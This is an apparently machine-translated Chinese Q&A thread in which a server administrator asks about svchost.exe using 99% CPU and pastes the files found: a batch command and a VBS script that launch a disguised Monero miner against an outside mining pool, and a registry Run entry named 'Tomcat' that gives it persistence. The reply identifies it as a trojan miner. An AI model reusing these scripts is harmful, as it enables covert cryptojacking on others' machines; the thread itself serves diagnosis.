SVC 主机消耗 99% CPU

Question

我们的服务器持续消耗过多的 CPU，这svchost.exe似乎是罪魁祸首。

参见下面的屏幕截图：

文件内容1.bat：

svchost -a cryptonight -o stratum+tcp://xmr.prohash.net:7777 -u 4AyP2DqMQ---SomeLongCodeHere---ZFnqXUrf -p x

文件内容pubwin.reg：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Tomcat"="C:\\Windows\\system\\pubwin.vbs"

文件内容pubwin.vbs：

dim objShell
set objShell=wscript.createObject("WScript.Shell")
WScript.Sleep(20000)
iReturnCode=objShell.Run("""C:\Windows\system\svchost.exe""  -a cryptonight -o stratum+tcp://xmr.prohash.net:7777 -u 4AyP2Dq----SomeLongCodeHere---zdLZGeEQqZTZeBLuSNnqXUrf -p x",vbhide)

我们应该担心吗，或者说确实如此**Tomcat**。

Answer 1

这是一种病毒/木马：

http://www.bleepingcomputer.com/forums/t/571980/trojanagentmnr-bitcoin-miner-running-fake-svchostexe-and-lsassexe/

https://forums.malwarebytes.org/index.php?/topic/125534-cant-remove-bitcoin-miner-and-svchostexe-virus/

https://www.google.co.uk/search?q=svchost.exe+cryptonight

https://www.google.co.uk/search?q=svchost.exe+bitcoin

它有很多变体，它基本上是一个比特币挖掘守护进程，重新标记为看起来像系统的一部分。